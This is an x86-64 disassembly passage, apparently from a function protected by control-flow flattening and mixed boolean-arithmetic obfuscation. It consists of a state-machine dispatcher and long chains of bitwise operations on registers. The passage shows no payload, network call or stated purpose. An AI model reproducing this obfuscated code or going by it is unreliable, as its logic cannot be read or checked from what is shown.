cmp eax, 0x58a11e18
jg 0x140087e60
cmp eax, 0x3117fdc4
je 0x140087e98
cmp eax, 0x462bec05
jne 0x140087420
movzx ecx, byte [rbp + 0x4ac]
cmp byte [rbp + 0x484], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140087420
cmp eax, 0x1f53ad1a
jg 0x140087e80
cmp eax, 0x8353906e
je 0x140087eba
cmp eax, 0xb9e70da7
jne 0x140087420
mov r11d, dword [rbp + 0x4b0]
mov eax, r11d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r11d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov eax, ecx
and eax, 0xe1770bb
mov r13d, ecx
and r13d, 0xf1e88f44
or r13d, 0x6022002
xor r13d, eax
xor r13d, 0x81550b9
or r13d, ecx
mov eax, r11d
and eax, 0x6098fcd3
or eax, 0xf210028
mov edx, r11d
and edx, 0x9f67032c
xor edx, eax
mov eax, edx
xor eax, 0x1367093
mov ecx, edx
or ecx, 0xf1e88f44
xor ecx, 0xffe98f6c
or ecx, eax
mov eax, edx
xor eax, 0xfec98f6c
or eax, ecx
xor ecx, edx
xor ecx, 0x1367093
and ecx, eax
mov edx, r13d
and edx, 0xee181f2d
mov esi, r13d
and esi, 0x11e7e0d2
or esi, 0x6000808
xor esi, edx
mov edx, ecx
mov eax, ecx
not r13d
and r13d, ecx
xor ecx, 0x11e7e0d2
xor edx, 0xb4b1d84f
and edx, ecx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, edx
mov ecx, esi
xor ecx, 0x4d4e2fb8
xor esi, 0xb2b1d047
and esi, eax
not eax
and eax, ecx
or r13d, eax
or r13d, esi
not r13d
mov eax, r13d
and eax, 0xa4519b98
and r13d, 0x5bae6467
or r13d, 0x84109000
xor r13d, eax
mov eax, r13d
xor eax, 0xdfbef467
mov r10d, r13d
and r10d, 0x5dfaf697
xor r13d, 0x824402f0
and r13d, eax
mov eax, r10d
xor eax, r13d
xor eax, 0x400290
xor r10d, 0x400290
and r10d, r13d
or r10d, eax
mov r8d, r10d
xor r8d, 0xf7bc1db4
mov eax, r10d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r10d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r10d
xor esi, 0x11d0e05f
or esi, edx
mov edx, esi
not edx
and edx, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov eax, edx
xor eax, ecx
xor eax, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edx
mov edx, eax
and edx, 0xe66cfdeb
and eax, 0x19930214
or eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0xecc1695
mov esi, eax
xor esi, 0xe8a0eb7e
mov r12d, ecx
xor r12d, 0xf9b3eb7e
mov edi, eax
xor edi, 0x175f1481
mov ebx, ecx
xor ebx, 0x844653a6
and ebx, r12d
or ecx, 0x820a4727
mov edx, eax
or edx, 0x7df5b8d8
xor edx, 0x7fffbcd9
mov r15d, eax
xor r15d, 0x6aaaac59
and r15d, esi
or r15d, edx
mov edx, ecx
and edx, 0x888217a6
and eax, 0x4440010
or eax, edx
xor ecx, 0x864e57a7
and ecx, ebx
and ebx, 0xecc5695
xor ebx, eax
xor ebx, 0x4441684
or ecx, ebx
xor ecx, r15d
or edi, r12d
mov eax, edi
and eax, 0xecc1695
xor eax, ecx
xor eax, 0xecc1695
not edi
and edi, ecx
or edi, eax
mov ecx, edi
and ecx, 0x3d6ad4f5
mov r12d, edi
and r12d, 0xc2940808
mov eax, edi
or eax, 0xc2952b0a
mov edx, edi
and edx, 0xc2952b0a
mov r15d, ecx
xor r15d, 0x1501f783
and r15d, eax
xor ecx, 0x3d6ad4f5
mov esi, ecx
and esi, 0x354014c4
and eax, 0x4a2ee339
or eax, esi
or ecx, edx
xor eax, edx
not edx
mov esi, edi
or esi, 0xeaff2b7e
and edx, 0x286b2376
or edx, r12d
mov ebx, esi
and ebx, 0x8febd69e
and edi, 0x10000001
or edi, ebx
not esi
and esi, r15d
and r15d, 0x3d6af7f5
xor r15d, edi
xor r15d, 0x9fead69d
or esi, r15d
xor esi, edx
xor eax, 0xb5d11cc6
and eax, ecx
or eax, esi
mov ecx, eax
and ecx, 0xd25c9294
or ecx, 0x28034442
and eax, 0x2da36d6b
xor eax, ecx
mov ecx, eax
xor ecx, 0x156990b7
mov edx, eax
xor edx, 0xea966f48
or edx, ecx
xor eax, 0x60a362d4
and eax, edx
mov ecx, eax
xor ecx, 0x8a350d9c
or ecx, edx
xor eax, edx
xor eax, 0x75caf263
and eax, ecx
mov ecx, r11d
and ecx, 0xbae01e84
mov edx, r11d
and edx, 0x451fe17b
or edx, 0x98801e04
xor edx, ecx
mov ecx, r11d
and ecx, 0x80000
mov esi, edx
and esi, 0xb4240811
and edx, 0x4bd3f7ee
add ecx, esi
add ecx, 0x52e686
xor ecx, edx
and r11d, 0xf133e96a
mov edx, r11d
xor r11d, ecx
xor ecx, 0x9012e802
xor edx, 0xf133e96a
and edx, ecx
xor r11d, 0x672d077d
or edx, r11d
mov r15d, edx
not r15d
and r15d, eax
mov r12d, eax
or r12d, 0x8e000724
mov esi, eax
and esi, 0x8e000724
and r11d, 0xc000004
mov edi, edx
and edi, 0x82000720
or edi, r11d
mov ecx, eax
xor ecx, 0x8a000104
and ecx, esi
not esi
mov r11d, r12d
and r11d, 0xfb0fa016
mov ebx, esi
and ebx, 0xea028104
or ecx, ebx
mov ebx, eax
and ebx, 0xf058c9
or ebx, r11d
xor ebx, ecx
xor ebx, 0x11fd79db
mov ecx, eax
and ecx, 0x609ee042
and r12d, 0x9f611a9d
or r12d, ecx
mov ecx, eax
and ecx, 0x520
and esi, 0x9f611a9d
add ecx, esi
add ecx, 0x609ee042
xor ecx, r12d
xor eax, 0x8e000724
or eax, ecx
not eax
or eax, ebx
mov ecx, edi
and ecx, 0x6000000
and edx, 0x71fff8db
or edx, ecx
or edi, 0x262e5009
xor edi, edx
mov ecx, edi
xor ecx, 0xa82e572d
xor edi, 0x57d1a8d2
and edi, eax
not eax
and eax, ecx
or edi, eax
mov ecx, r15d
and ecx, 0xc64177d6
or ecx, 0x39268801
mov eax, r15d
and eax, 0x39be8829
xor eax, ecx
mov ecx, eax
xor ecx, 0xff67ffd7
mov edx, edi
xor edx, 0x39be8829
or edx, ecx
xor eax, edi
xor eax, 0x39268801
and eax, ecx
xor eax, edx
not eax
and edi, r15d
mov edx, edi
and edx, 0xa32261d0
or edx, 0x10999806
mov ecx, edi
and ecx, 0x5cdd9e2f
xor ecx, edx
xor ecx, eax
and edi, eax
mov eax, ecx
xor eax, edi
xor eax, 0x10999806
xor ecx, 0x10999806
and ecx, edi
or ecx, eax
mov eax, ecx
mov r15d, ecx
mov edx, ecx
mov r12d, ecx
mov esi, ecx
and esi, 0x310718ea
or esi, 0x6f8a511
mov r11d, ecx
and r11d, 0xcef8e715
xor r11d, esi
mov esi, r11d
xor esi, 0xf7cb4c5b
or esi, ecx
xor r11d, ecx
and ecx, 0x190a9b13
or eax, 0xe6f564ec
and r15d, 0xe6f564ec
mov edi, ecx
xor edi, 0xc026d4ea
and edi, eax
or edx, 0xfffd6ffd
mov ebx, edx
and ebx, 0xb0495454
and r12d, 0x28002
or r12d, ebx
not edx
and edx, edi
and edi, 0x592e9bbb
xor edi, r12d
xor edi, 0x304b9016
or edx, edi
xor edx, r15d
xor edx, 0xd92c4ff9
xor ecx, 0x190a9b13
mov edi, ecx
and edi, 0x21101
and eax, 0xddf8ce1a
or eax, edi
or ecx, r15d
xor eax, r15d
xor eax, 0x220731e5
and eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x190a9b13
xor eax, 0x17c68da6
or eax, ecx
xor r11d, 0x834b3a4
and r11d, esi
mov ecx, eax
not ecx
and ecx, r11d
xor r11d, eax
xor r11d, ecx
mov edx, r10d
xor edx, 0x843e24b
mov edi, r10d
mov r15d, r10d
mov r12d, r10d
mov eax, r10d
and eax, 0xf4e5e31e
xor r10d, 0x359feaa
and r10d, r8d
mov esi, eax
xor esi, r10d
xor esi, 0x41e20a
xor eax, 0x41e20a
and eax, r10d
or eax, esi
mov esi, eax
xor esi, 0x6653709e
and esi, edx
or edx, r8d
and r13d, 0x82000820
and edi, 0x1098338a
or edi, r13d
and r15d, 0x6d67c455
or r15d, edi
mov edi, r15d
xor edi, 0x6524261e
mov ebx, edx
and ebx, 0x6d67c455
xor r12d, edx
and edx, 0x92983baa
or edx, 0x64244445
xor edx, ebx
mov ebx, edx
xor ebx, 0xf6bc7fef
xor r15d, 0x9adbd9e1
and r15d, ebx
xor edx, 0x9438010
and edx, edi
xor r12d, 0xf7bc1db4
or r12d, r8d
not r12d
or r12d, edx
or r12d, r15d
mov r10d, r12d
not r10d
mov edx, r12d
and edx, 0x6d496c7f
mov ebx, eax
xor ebx, 0x99ac8f61
and ebx, r8d
or ebx, esi
xor eax, ebx
xor eax, 0x6653709e
and eax, ebx
mov edi, r12d
xor edi, 0x5014c23
and edi, edx
and edx, eax
mov ecx, r12d
and ecx, 0x5014c23
xor ecx, edi
xor ecx, 0x85b5cfa3
and edi, 0x5014c23
or edi, ecx
mov ecx, eax
and ecx, 0x85b5cfa3
or ecx, 0x840004c
and eax, 0x7a4a305c
xor eax, ecx
xor eax, edi
mov ecx, eax
mov ebx, edx
xor ebx, eax
xor ebx, 0x720a3010
mov edi, ebx
and edi, edx
xor eax, 0x60082010
and eax, edx
not edx
xor ecx, 0x8df5cfef
and ecx, edx
or ecx, eax
xor ecx, edi
and eax, ebx
or eax, ecx
mov ebx, r10d
and ebx, r12d
and r12d, 0x29086950
and r10d, 0xd6f7968f
or r10d, r12d
xor r10d, 0xd6f7968f
and ebx, 0xffffffdf
or ebx, r10d
mov r10d, eax
xor r10d, 0x6d496c5f
lea r8d, [rbx + 0x20]
mov ecx, eax
xor ecx, 0xe8f03d9b
mov esi, eax
xor esi, 0x92b693a0
or esi, ecx
mov edi, eax
or edi, 0x7a46ae3b
xor edi, 0x7f4fee7f
or ecx, edi
mov r12d, ebx
and r12d, 0x85b951c4
mov edx, ebx
xor edx, 0x85b951e4
or edx, r12d
not esi
and esi, edi
xor esi, ecx
mov ecx, edx
and ecx, 0xffffffdf
mov edi, ecx
xor edi, 0x6727c902
xor ebx, 0x291100
and ebx, r12d
mov r15d, edi
xor ecx, 0xffffffdf
mov r13d, ecx
and r13d, 0x1bcc4c01
and edi, 0xe433b3de
or edi, r13d
or ecx, r12d
xor edi, r12d
or r12d, 0x8594c8c6
xor ebx, r12d
or r15d, 0x8594c8c6
or edx, 0x7a6b3739
xor edx, r15d
mov r15d, edx
xor r15d, 0x81000
and r15d, ebx
not ebx
xor edx, 0xe7b341e4
and edx, ebx
or edx, r15d
xor edi, 0x7fefcd03
and edi, ecx
or edi, edx
mov ecx, esi
xor ecx, 0x1ac5778a
mov edx, edi
and edx, 0xe53a8875
or edx, 0x8453780
and edi, 0x1ac5778a
xor edi, edx
mov edx, edi
xor edx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, edx
xor edi, 0x1280400a
and edi, ecx
or edi, esi
and r10d, r8d
xor eax, r8d
xor eax, 0x6d496c5f
or eax, r10d
mov ecx, edi
and ecx, 0x5bce1f7c
xor ecx, eax
mov edx, edi
xor edx, eax
not eax
or eax, edi
and edi, 0xa431e083
or edi, 0x1ac01b00
xor ecx, edi
and eax, edx
mov edx, ecx
xor edx, eax
xor edx, 0xe53fe4ff
xor ecx, 0xe53fe4ff
and ecx, eax
or ecx, edx
mov edx, ecx
and edx, 0x563e2c9a
or edx, 0x9005300
mov eax, ecx
and eax, 0xa9c1d365
xor eax, edx
mov ebx, ecx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, ecx
xor ebx, 0x9005300
and eax, ebx
mov edx, eax
xor edx, ecx
and edx, ebx
mov ebx, ecx
and ebx, 0xa4a3d9c2
and ecx, 0x5b5c263d
or ecx, 0xa0a01800
xor ecx, ebx
mov ebx, ecx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor ecx, 0x403c1c2
and ecx, edi
xor eax, 0x18080420
and eax, ebx
or eax, edx
or eax, ecx
mov edx, eax
not edx
and edx, r11d
mov r15d, r11d
xor r15d, eax
xor r15d, edx
mov r10d, r11d
and r10d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r8d, eax
and r8d, 0x66fc66a2
and r11d, 0x66fc66a2
or r11d, 0x98008855
and edx, 0xae0a6a3c
mov edi, esi
and edi, 0x11019141
or edi, edx
mov ebx, edi
xor ebx, 0x51f595c3
mov edx, edi
xor edi, 0xae0a6a3c
mov r12d, edi
or edi, r8d
not r8d
xor edx, 0xc263434a
and edx, ebx
and esi, 0x91029009
or esi, edx
mov edx, eax
and edx, 0x60080022
mov ecx, r8d
and ecx, 0xc602114
add ecx, edx
add ecx, 0x3020681
mov edx, eax
and edx, 0x2944680
xor edx, ecx
mov ecx, edx
xor ecx, 0x630b0ee3
xor edx, 0x9cf4f11c
and edx, esi
not esi
and esi, ecx
or edx, esi
and r12d, 0x89021805
and ebx, 0x10ddc158
or ebx, r12d
and eax, 0x662026a2
and r8d, 0x10ddc158
or r8d, eax
xor r8d, ebx
not r8d
and r8d, edi
or r8d, edx
xor r8d, r10d
xor r8d, r11d
mov eax, r8d
xor eax, 0x1031108
mov ecx, r15d
xor r8d, 0xfefceef7
and r8d, r15d
xor r15d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r15d
or r8d, eax
or r8d, ecx
mov eax, 0x1f53ad1b
jmp 0x140087420
cmp eax, 0x58a11e19
je 0x140087406
cmp eax, 0x71946ac1
jne 0x140087420
mov eax, 0x3117fdc4
jmp 0x140087420
cmp eax, 0x22c0f4b1
jne 0x140087ed3
mov eax, 0x1f53ad1b
mov r8d, dword [rbp + 0x4b0]
jmp 0x140087420
mov dword [rbp + 0x4b0], r9d
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x41
setge byte [rbp + 0x4a8]
mov eax, dword [rbp + 0x4c0]
jmp 0x140087420
cmp byte [rbp + 0x4a8], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
jmp 0x140087420
cmp eax, 0x1f53ad1b
jne 0x140087420
mov eax, r14d
and eax, 0xa06206ca
mov ecx, r14d
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r12d, eax
or r12d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r12d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r12d
and r12d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r12d, edx
xor r12d, ecx
mov eax, r12d
and eax, 0x8b181a5c
or eax, 0x34434021
and r12d, 0x74e7e5a3
xor r12d, eax
mov eax, r12d
xor eax, 0x2feabccf
mov ecx, r12d
xor ecx, 0xd0154330
mov edx, r12d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r12d, 0xf77ca13a
and r12d, eax
or r12d, edx
or ecx, eax
xor r12d, 0x2769e20a
and r12d, ecx
mov eax, r12d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r11d, eax
and r11d, 0x1fbc0278
xor r11d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r11d
xor ecx, 0x24c1653b
xor r11d, 0x2441652b
and r11d, eax
or r11d, ecx
mov eax, r14d
and eax, 0xfb1401a1
or eax, 0x688008
mov r10d, r14d
and r10d, 0x4ebfe5e
xor r10d, eax
mov eax, r10d
xor eax, 0xbaad4363
or r10d, 0x453a3c94
xor r10d, 0x457abc9c
or r10d, eax
mov eax, r14d
and eax, 0xbac5c36b
mov ecx, r10d
xor ecx, 0x29379af7
mov edx, r14d
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, r14d
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r10d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r10d
xor ecx, eax
not r10d
or r10d, eax
and r10d, ecx
or r10d, ebx
mov eax, r14d
and eax, 0x3e90666b
mov ecx, r14d
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r10d
mov eax, r10d
xor eax, r14d
xor eax, 0x94aca640
xor r10d, 0x94aca640
and r10d, r14d
or r10d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r10d
xor r10d, ecx
xor r10d, 0xbebcc648
and r10d, eax
mov r13d, r8d
not r13d
mov ebx, r8d
and ebx, 0x437fed4a
mov ecx, r8d
and ecx, 0xbc8012b5
or ecx, 0x4127600a
xor ecx, ebx
xor ecx, 0x2588d40
or ecx, r8d
mov edi, r8d
and edi, 0x25b4148
xor edi, 0xadb43e9
mov esi, r8d
xor esi, 0xbedb53fd
and esi, ebx
mov ebx, ecx
and ebx, 0xadb43e9
and ecx, 0xf524bc16
or ecx, 0x8004140
xor ecx, ebx
mov edx, esi
not edx
or edx, r8d
not edx
and edx, 0x25b4148
or esi, edi
or esi, edx
mov edx, esi
xor edx, ecx
xor edx, 0x4924ed42
and edx, esi
xor ecx, 0x25b0008
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
mov edi, ecx
xor edi, 0x8801225
and edi, edx
mov edx, ecx
or edx, 0x437fed4a
and edi, 0xbc8012b5
mov esi, ecx
and esi, 0x437fed4a
lea r9d, [rsi - 0x4bffff70]
mov eax, ecx
and eax, 0x14000010
mov ebx, edx
and ebx, 0xa0448dc0
or ebx, eax
xor ebx, edi
lea eax, [rbx + 0x1384000]
mov edi, ecx
and edi, 0x28800011
and edx, 0x9729dbac
or edx, edi
xor edx, esi
xor esi, 0x4a83322f
and esi, eax
xor ebx, 0xf647adda
and ebx, r9d
or ebx, esi
xor edx, 0xbfa9dbbd
xor ecx, 0x437fed4a
or ecx, edx
not ecx
or ecx, ebx
mov edx, ecx
xor edx, 0xb735624
mov eax, ecx
or eax, 0xbf61617e
mov ebx, ecx
xor ebx, 0x4bedc8a5
and ebx, edx
mov edx, eax
and edx, 0xab6bb319
and ecx, 0x40940c80
or ecx, edx
xor ecx, ebx
xor ecx, 0xebeda999
xor eax, 0xffede9ff
and eax, ebx
or eax, ecx
mov edx, eax
xor edx, 0xb412375a
mov ebx, eax
and ebx, 0x41963a78
xor ebx, 0x41840820
mov ecx, eax
xor ecx, 0xf5840d22
and ecx, edx
or ecx, ebx
mov edx, ecx
xor edx, 0xbe69c587
mov ebx, ecx
and ebx, 0xc7ae538e
xor ebx, 0x41861208
mov edi, ecx
xor edi, 0x863869f6
or edi, ebx
mov ebx, eax
xor ebx, 0x73bc64d4
xor eax, 0x4bedc8a5
or eax, ebx
and eax, edi
mov ebx, ecx
xor ebx, 0x9000a0ac
and ebx, edx
mov edx, ecx
xor edx, ebx
xor edx, 0x6fff5f53
xor ecx, 0x6fff5f53
and ecx, ebx
or ecx, edx
mov ebx, eax
xor ebx, 0x1638c95a
mov esi, eax
xor esi, 0xdba443a
and esi, ebx
mov edi, eax
or edi, 0xe47d729f
mov r9d, edi
and r9d, 0x160e96b2
mov edx, eax
and edx, 0x9800940
or edx, r9d
xor edx, esi
xor edx, 0xd8e16b2
xor edi, 0xedff76bf
and edi, esi
or edi, edx
xor edi, ecx
xor eax, ecx
xor eax, 0x1638c95a
and ebx, ecx
or ebx, eax
mov edx, edi
xor edx, 0xe47d729f
xor edi, ebx
xor edi, 0xe47d729f
or edx, ebx
not edx
or edx, edi
mov eax, edx
and eax, 0x6ec3b5e4
or eax, 0x80801
and edx, 0x913c4a1b
or edx, 0x28c13164
xor edx, eax
mov eax, edx
xor eax, 0xd736c69a
mov ecx, edx
or ecx, 0xfb4c88f1
xor ecx, 0xfbcdb9f5
mov ebx, edx
xor ebx, 0xd385b194
and ebx, eax
or ebx, ecx
xor edx, ebx
xor ebx, 0x4b3770e
or ebx, eax
xor edx, 0x2c7a4e6b
and edx, ebx
or r13d, 0xd1969ad4
mov eax, r8d
and eax, 0x248000a
mov ecx, r13d
and ecx, 0x98b14025
or ecx, eax
mov r15d, r13d
and r15d, 0x25043500
or r15d, ecx
mov eax, r15d
and eax, 0xb2a41504
xor eax, 0x20280c0
xor r15d, 0xf0ec1f1e
or r15d, eax
and r8d, 0x22000528
and r13d, 0x5debeac7
or r13d, r8d
mov eax, r13d
and eax, 0xc49602b
xor eax, 0xc496003
xor r13d, 0x10b280fc
or r13d, eax
mov eax, r15d
and eax, 0xfffdff3f
xor eax, 0x1aaf6d2c
and eax, r15d
mov ecx, r15d
and ecx, 0x1aad6dac
or ecx, 0x24001052
mov ebx, r13d
and ebx, 0x64400203
or r15d, r13d
and r13d, 0xa296d28
or r13d, 0x64528243
xor r13d, ebx
xor r13d, ecx
xor r13d, eax
xor r13d, 0x41429241
not r15d
or r15d, r13d
mov r9d, r10d
mov r8d, r10d
mov ecx, r10d
mov edi, r10d
mov esi, r10d
mov eax, r10d
and eax, 0x100108
mov ebx, r10d
or ebx, 0x3bac76d0
mov r13d, r10d
xor r13d, 0xc453892f
or r13d, ebx
and ebx, 0xfc6bc837
or ebx, eax
mov eax, r10d
xor ebx, r10d
and r10d, 0x8d80cfea
xor r9d, 0x1008060
and r9d, r10d
and r8d, 0x70663010
and ecx, 0x2190005
or ecx, 0x7c006010
xor ecx, r8d
and edi, 0x1008060
or edi, 0x4804600
xor edi, r9d
xor edi, ecx
xor edi, 0xaff1605
and esi, 0x727f3015
or esi, 0x8000cf62
xor esi, r10d
xor esi, 0xf27fff77
xor eax, 0x8d80cfea
or eax, esi
not eax
or eax, edi
mov r8d, eax
xor r8d, 0x727f3015
mov edi, eax
xor edi, 0xb62cb93a
and edi, r8d
mov ecx, eax
xor ecx, 0x49d346c5
or ecx, edi
xor ebx, 0x38284010
and ebx, r13d
mov r10d, r11d
xor r10d, 0x40008000
and r10d, r11d
and r12d, 0x40008000
xor r12d, 0x4a849408
and r10d, 0x44018902
or r10d, r12d
mov edi, r11d
mov r9d, r11d
mov esi, r11d
and esi, 0x8010000c
and edi, 0x420021
or edi, 0x45880090
xor edi, r10d
and r9d, 0x3bac76d0
xor r9d, 0x8afe54bd
xor esi, edi
xor esi, 0x1a04008
and esi, r9d
xor edi, 0x41a14902
or edi, r9d
xor edi, esi
mov r10d, ecx
mov esi, ecx
and esi, 0xb2e0d7b3
and r10d, 0x4d1f284c
or r10d, 0x22804682
xor r10d, esi
mov r12d, r10d
xor r12d, 0x6f9f6ece
mov esi, ebx
and esi, 0xb2e0d7b3
or esi, 0x45082048
mov r14d, ebx
and r14d, 0x4d1f284c
xor r14d, esi
mov r9d, r10d
xor r9d, 0x98385838
and r9d, r12d
mov esi, r14d
xor esi, 0x8170804
mov r13d, r14d
xor r13d, 0x4fc10d
and r13d, esi
mov r12d, r10d
or r12d, 0x858c909
or r14d, 0xf7a736f6
xor r14d, 0xf7eff7ff
or r14d, r13d
mov esi, r12d
and esi, 0x8899f000
and r10d, 0x772606f6
or r10d, esi
mov esi, ecx
xor r10d, r9d
xor r12d, 0x9878d939
and r12d, r9d
mov r9d, ecx
and esi, 0x9e366bbf
xor esi, ebx
xor r9d, ebx
not ebx
or ebx, ecx
xor r10d, 0x9838d030
or r12d, r10d
mov r10d, r11d
xor r12d, r14d
mov r13d, r11d
and ecx, 0x61c99440
or ecx, 0x21040b3
xor esi, ecx
and ebx, r9d
mov ecx, esi
xor ecx, ebx
xor ecx, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, ebx
or esi, ecx
mov ecx, esi
and ecx, 0xc0508439
or ecx, 0x892802
and esi, 0x3faf7bc6
xor esi, ecx
mov r14d, esi
xor r14d, 0x892802
mov r9d, r12d
and r9d, 0x4e3f9ca4
mov ecx, r14d
and ecx, 0xb1c0635b
xor ecx, r9d
mov ebx, r14d
xor r14d, r12d
xor esi, 0xff76d7fd
or esi, r12d
and r12d, 0xb1c0635b
or r12d, 0xc081c80
xor ecx, r12d
and ebx, 0x4e3f9ca4
or ebx, 0xb040624a
xor ebx, ecx
xor ebx, 0x43b78135
and esi, r14d
or esi, ebx
mov r12d, esi
not r12d
mov ebx, esi
and ebx, 0x4de1c672
mov r9d, esi
or r9d, 0x4de1c672
mov r14d, r9d
and r14d, 0x26011ca7
and r12d, 0x901e2108
or r12d, r14d
mov ecx, esi
xor ecx, 0x4010422
and ecx, ebx
not ebx
xor ecx, r12d
mov r14d, esi
and r14d, 0x420
xor r9d, ebx
and ebx, 0x26010887
add ebx, r14d
add ebx, 0xd1f0c210
xor ebx, ecx
mov ecx, eax
mov r12d, eax
xor r13d, eax
xor eax, 0x8d80cfea
and eax, r11d
xor edi, 0x4de1c672
xor ebx, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r9d
not esi
or esi, ebx
mov ebx, edi
and ebx, 0xb7fb9257
or ebx, 0x42d28
and edi, 0x48046da8
xor edi, ebx
mov r9d, edi
mov ebx, esi
and ebx, 0xb7fb9257
or ebx, 0x40004d08
and esi, 0x48046da8
xor esi, ebx
mov ebx, esi
xor ebx, 0xf7fbdf5f
xor edi, 0x48004080
and edi, ebx
mov r14d, edx
not r14d
xor r9d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r9d
mov r9d, r15d
xor r9d, 0xb2a695c4
or esi, edi
and ecx, 0xa631f20f
xor ecx, 0x8400c20a
xor r12d, 0x2bb13de5
and r10d, 0x59ce0df0
or r10d, 0x86009003
and r11d, 0xa631f20f
xor r11d, r10d
and ecx, r8d
or ecx, r12d
mov ebx, r11d
xor r11d, 0xdfce9df3
and r11d, ecx
not ecx
xor ebx, ecx
xor ebx, 0xdfce9df3
and ebx, ecx
or r11d, ebx
mov ecx, r13d
xor ecx, 0x8d80cfea
or eax, ecx
mov ebx, r13d
xor ebx, 0x727f3015
xor r13d, eax
xor r13d, 0x727f3015
or ebx, eax
not ebx
or ebx, r13d
mov eax, ebx
and eax, 0xcde4750
or eax, 0x21209829
and ebx, 0xf321b8af
xor ebx, eax
mov eax, ebx
xor eax, 0xdedf67d6
and eax, r11d
xor ebx, r11d
xor ebx, 0xdedf67d6
or ebx, eax
mov eax, ebx
and eax, 0xa94c8ce7
lea r10d, [rax + 0x42217110]
xor eax, 0xa94c8ce7
mov r8d, r10d
and r8d, 0x4804a0a0
mov edi, ebx
xor edi, 0x81480c46
and edi, eax
and eax, 0x20000001
or eax, r8d
mov ecx, eax
and ecx, 0x600080a1
and r10d, 0x8042000
add ecx, r10d
add ecx, 0x5021e54
xor ecx, edi
xor ecx, 0x33805e5d
xor eax, 0x20000001
and eax, edi
or eax, ecx
and ebx, 0x56b37318
xor ebx, eax
mov eax, ebx
xor eax, 0x283593b1
mov ecx, ebx
xor ecx, 0xd7ca6c4e
and ecx, eax
xor ebx, ecx
xor ebx, 0xd7ca6c4e
or ebx, ecx
mov eax, ebx
and eax, 0xab469b10
or eax, 0x50b0608d
and ebx, 0x54b964ef
xor ebx, eax
mov eax, ebx
xor eax, 0xaf4f9f72
mov ecx, esi
not ecx
and ecx, eax
xor ebx, 0x50b0608d
and ebx, esi
or ecx, ebx
and ebx, eax
and eax, esi
xor ecx, eax
xor ebx, ecx
mov eax, edx
and eax, 0x4093dba5
or eax, 0x3e64205a
mov ecx, edx
and ecx, 0xbf6c245a
xor ecx, eax
mov r12d, ecx
xor r12d, 0xc19bdfa5
mov edi, r15d
xor edi, 0x4d596a3b
xor ecx, 0x3e64205a
mov esi, ecx
or esi, r9d
and ecx, edi
and r12d, r9d
or r12d, ecx
xor r12d, esi
mov r8d, r12d
not r8d
mov ecx, edx
and ecx, 0xd240d802
or ecx, 0x2049
or r14d, 0xde6c8a14
and r14d, 0xff7c8ab4
xor r14d, ecx
mov ecx, r14d
xor ecx, 0xca20210
and edx, 0xcaf275d
lea edi, [rdx - 0x2dbf27fe]
xor r14d, 0xd754f
and r14d, edi
xor edx, 0x2d3107b0
and edx, ecx
or edx, r14d
mov r14d, r15d
xor r14d, 0x41f64d66
mov ecx, r14d
and ecx, 0x84a6247d
mov esi, edx
and esi, 0x84afa47d
or esi, 0x29001a80
and edx, 0x7b505b82
and r15d, 0x98000
add ecx, r15d
add ecx, 0x19105080
and r14d, 0x7b505b82
xor r14d, ecx
xor r14d, edx
xor r14d, esi
mov r9d, r14d
xor r9d, 0xcfefb5ff
mov r15d, r9d
and r15d, 0x260dd63e
mov r13d, r14d
and r13d, 0xd9f229c1
mov r11d, r8d
mov esi, r8d
